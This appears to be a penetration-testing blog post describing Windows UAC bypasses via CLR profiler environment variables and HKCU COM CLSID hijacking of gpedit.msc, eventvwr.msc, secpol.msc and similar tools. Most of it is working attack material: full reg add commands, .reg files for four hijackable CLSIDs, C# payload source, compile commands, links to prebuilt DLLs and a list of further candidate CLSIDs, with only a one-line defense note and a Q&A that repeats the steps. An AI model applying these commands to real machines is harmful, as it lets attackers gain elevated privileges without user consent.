Use CLR to bypass UAC

Onedaysec
5 min read
0 views
docx image 1770017319428 0 57a3fcdd7d

0x00 Introduction

---

In the previous article "Use CLR to maintain persistence", a backdoor that hijacks .Net programs via CLR was introduced. Its characteristics include not requiring administrator privileges and being able to hijack all .Net programs. Therefore, if a high-privilege .Net program is hijacked, UAC can be bypassed, such as with gpedit.msc.

Recently, I also saw the same exploitation idea on clem@clavoillotte's blog, and his blog contains more areas worth learning. So, I have organized the content introduced in his blog, combined with my own experience, made appropriate additions, and shared it with everyone.

clem@clavoillotte's blog address:

https://offsec.provadys.com/UAC-bypass-dotnet.html

0x01 Introduction

---

This article will introduce the following:

  • Method of using CLR to bypass UAC
  • Method of hijacking system CLSID to bypass UAC

0x02 Using CLR to bypass UAC

---

In my article "Use CLR to maintain persistence", I used wmic to modify environment variables. The code is as follows:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"

Added a method using PowerShell to modify environment variables in 'Use Logon Scripts to maintain persistence', code as follows:

New-ItemProperty "HKCU:\Environment\" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-Null
New-ItemProperty "HKCU:\Environment\" COR_PROFILER -value "{11111111-1111-1111-1111-111111111111}" -propertyType string | Out-Null

clem@clavoillotte's method is to directly use reg add, code as follows:

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f

clem@clavoillotte's POC:

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f
mmc gpedit.msc

Personally, I believe there is no need to specify the environment variable COR_PROFILER_PATH. The refined POC is as follows:

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\test\calc.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
mmc gpedit.msc

The test DLL is still based on the standard C++ DLL template. Download link:

https://raw.githubusercontent.com/3gstudent/test/master/calc.dll

gpedit.msc will launch normally while calculator pops up with high privileges

As shown below

0x02 Using CLR to bypass UAC — technical illustration 1

To only launch calculator without executing gpedit.msc, add ExitProcess(0); after the startup code WinExec("calc.exe",SW_SHOWNORMAL);

The compiled DLL has been uploaded. Download link:

https://raw.githubusercontent.com/3gstudent/test/master/calcexit.dll

Test result as shown below

0x02 Using CLR to bypass UAC — technical illustration 2

Calculator runs with high privileges, successfully bypassing UAC

0x03 Hijacking System CLSID to Bypass UAC

---

clem@clavoillotte shared in a blog how to hijack system CLSID to achieve UAC bypass, so next we will test them one by one and mark points that need attention

1. {B29D466A-857D-35BA-8712-A758861BFEA1}

The registry file is as follows:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories\{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32\10.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\ProgId]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"

Note:

The entry @="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager" in the registry indicates that this CLSID is invoked when executing gpedit.msc

The C# code to generate test_managed.dll is as follows:

using System;
using System.Diagnostics;

namespace TestDotNet
{
public class Class1
{
static Class1()
{
Process.Start("calc.exe");
Environment.Exit(0);
}
}
}

Save as TestDotNet.cs and compile into a dll

Use csc.exe to compile and generate the dll:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library TestDotNet.cs

Note:

Use csc.exe from the .Net 4.0 directory

Rename the generated TestDotNet.dll to test_managed.dll to successfully bypass UAC, as shown in the test below

1. {B29D466A-857D-35BA-8712-A758861BFEA1} — technical illustration 3

Additional tip regarding C# compilation files:

When compiling a C# program using Visual Studio, if the project name does not match the assembly name (i.e., the namespace) (in this context, the assembly name in the code is TestDotNet, but the newly created project name is Class1), you need to reassign the assembly name, as shown below

1. {B29D466A-857D-35BA-8712-A758861BFEA1} — technical illustration 4

Similarly, this issue also exists when using csc.exe to compile and generate files

For example, if the source code is saved as a.cs, then when outputting, you must add the /out parameter to specify the output file as TestDotNet.dll, so that the assembly name also defaults to TestDotNet (matching the source code). The specific parameters are as follows:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /out:TestDotNet.dll a.cs

Otherwise, although the dll can be loaded, it cannot be executed, as shown below

1. {B29D466A-857D-35BA-8712-A758861BFEA1} — technical illustration 5

2. {D5AB5662-131D-453D-88C8-9BBA87502ADE}

The registry file is as follows:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}]
@="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories\{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32\3.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"CodeBase"="file://C://Temp//test_managed.dll"

Note:

In the registry key, @="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory". The following commands will invoke this CLSID when executed:

  • compmgmt.msc
  • eventvwr.msc
  • secpol.msc
  • taskschd.msc

Compile the DLL using csc.exe:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /t:library TestDotNet.cs

Note:

The DLL must be compiled using .NET 2.0

3. {0A29FF9E-7F9C-4437-8B11-F424491E3931}

The registry file is as follows:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]
@="NDP SymBinder"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"ThreadingModel"="Both"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\4.0.30319]
@="4.0.30319"
"ImplementedInThisVersion"=""

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ProgID]
@="CorSymBinder_SxS"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server]
@="C:\\Temp\\test_unmanaged.dll"

The test systems were Win7 and Win10, which were unsuccessful, so I modified the script. The modified file is as follows:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]
@="NDP SymBinder"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32]
@="C:\\Temp\\test_unmanaged.dll"
"ThreadingModel"="Both"

The test_unmanaged.dll here differs from those in steps 1 and 2; a standard DLL is required here to achieve DLL hijacking. DLL download address:

https://raw.githubusercontent.com/3gstudent/test/master/calcexit.dll

Executing any of the following code can trigger DLL hijacking and achieve UAC bypass:

C:\Windows\System32\eventvwr.exe

or

C:\Windows\System32\mmc.exe CompMgmt.msc

Note:

This exploitation method was also introduced by b33f@FuzzySecurity at DefCon25. For details, refer to the following link:

https://raw.githubusercontent.com/FuzzySecurity/DefCon25/master/Lab-Writeup.txt

4、{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}

The registry file is as follows:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}]
@="Microsoft Common Language Runtime Meta Data"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"ThreadingModel"="Both"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32\4.0.30319]
@="4.0.30319"
"ImplementedInThisVersion"=""

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\ProgID]
@="CLRMetaData.CorRuntimeHost.2"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\Server]
@="..\\..\\..\\..\\Temp\\test_unmanaged.dll"

The test_unmanaged.dll here differs from those in steps 1 and 2; a standard DLL is required here to implement DLL hijacking. DLL download address:

https://raw.githubusercontent.com/3gstudent/test/master/calcexit.dll

Execute secpol.msc to trigger DLL hijacking, test as shown in the figure below

4、{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E} — technical illustration 6

0x04 Supplement

Use Procmon to record the startup process of gpedit.msc, search for exploitable system CLSIDs, with the following characteristics:

Open registry key HKCU:\Software\Classes\CLSID\{****}\InprocServer32, returns NAME NOT FOUND

Open registry key HKCR:\CLSID\{****}\InprocServer32, returns SUCCESS

As shown in the figure below, the marked CLSIDs meet the requirements

0x04 Supplement — technical illustration 7

On the test system Win7 x86, the following CLSIDs meeting the requirements were found:

  • {8FC0B734-A0E1-11D1-A7D3-0000F87571E3}
  • {B708457E-DB61-4C55-A92F-0D4B5E9B1224}
  • {871C5380-42A0-1069-A2EA-08002B30309D}
  • {D02B1F72-3407-48ae-BA88-E8213C6761F1}
  • {B29D466A-857D-35BA-8712-A758861BFEA1}
  • {D02B1F73-3407-48AE-BA88-E8213C6761F1}
  • {B0395DA5-6A15-4E44-9F36-9A9DC7A2F341}
  • {ADE6444B-C91F-4E37-92A4-5BB430A33340}

0x05 Defense

---

Monitor the creation and modification of key values under HKEY_CURRENT_USER\Software\Classes\CLSID\ in the registry

0x06 Summary

---

Microsoft does not consider UAC bypass as a vulnerability, which is understandable from their perspective. However, in penetration testing, situations often arise where UAC bypass is necessary, and certain UAC bypass methods can even be leveraged for further exploitation. From a defensive standpoint, it is important to remind defenders to stay vigilant about UAC bypass techniques.

Related Questions & Answers

What are the important compilation details for the managed DLL used in CLSID hijacking, particularly regarding .NET runtime version and assembly naming?

The managed DLL must be compiled with the correct .NET runtime version that matches the target CLSID’s `RuntimeVersion` registry value. For example, for CLSID `{D5AB5662-131D-453D-88C8-9BBA87502ADE}` you must use `v2.0.50727` and compile with `csc.exe` from the .NET 2.0 directory. Also, the assembly name in the C# source (namespace `TestDotNet` and class `TestDotNet.Class1`) must match the `Assembly` registry value. If the compiled DLL’s name differs from the namespace, you must specify the `/out:TestDotNet.dll` parameter to ensure correct loading. Failure to match will result in the DLL being loaded but not executed.

Which system CLSIDs can be hijacked to bypass UAC when launching specific Microsoft Management Console (MMC) snap-ins?

The article identifies at least three CLSIDs that can be hijacked under `HKCU\Software\Classes\CLSID` to trigger a managed DLL when certain snap-ins are launched. For example, `{B29D466A-857D-35BA-8712-A758861BFEA1}` is invoked by `gpedit.msc`, and `{D5AB5662-131D-453D-88C8-9BBA87502ADE}` is invoked by `compmgmt.msc`, `eventvwr.msc`, `secpol.msc`, and `taskschd.msc`. Each requires setting `InprocServer32` to point to `mscoree.dll` with a custom `CodeBase` pointing to the attacker’s managed DLL. This method is similar to other COM-based UAC bypasses like [Bypassing UAC via COM Component IARPUninstallStringLauncher](/news/bypassing-uac-via-com-component-iarpuninstallstringlauncher).

What registry keys are modified for the CLR UAC bypass via environment variables, and how can they be set using the command line?

Two sets of registry keys are modified: under `HKCU\Environment` you set `COR_ENABLE_PROFILING=1` and `COR_PROFILER={CLSID}`; under `HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32` you set the default value to the path of the malicious DLL. The article shows using `reg add` commands, e.g., `REG ADD "HKCU\Software\Classes\CLSID\{...}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f` and `REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{...}" /f`. Alternative methods like `wmic` or PowerShell are also described in the related articles on persistence.

How does the CLR-based UAC bypass technique work by setting environment variables?

The technique leverages the Common Language Runtime (CLR) profiling mechanism. By setting user-level environment variables `COR_ENABLE_PROFILING` to `1` and `COR_PROFILER` to a custom CLSID (e.g., `{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}`), any .NET process that starts—including high-integrity ones like `gpedit.msc`—will load a malicious DLL specified under `HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32`. When the high-privilege .NET program runs, it loads the attacker’s DLL, executing code with elevated privileges and bypassing UAC. See [Use CLR to bypass UAC](/news/use-clr-to-bypass-uac) for the full POC.

Continue Reading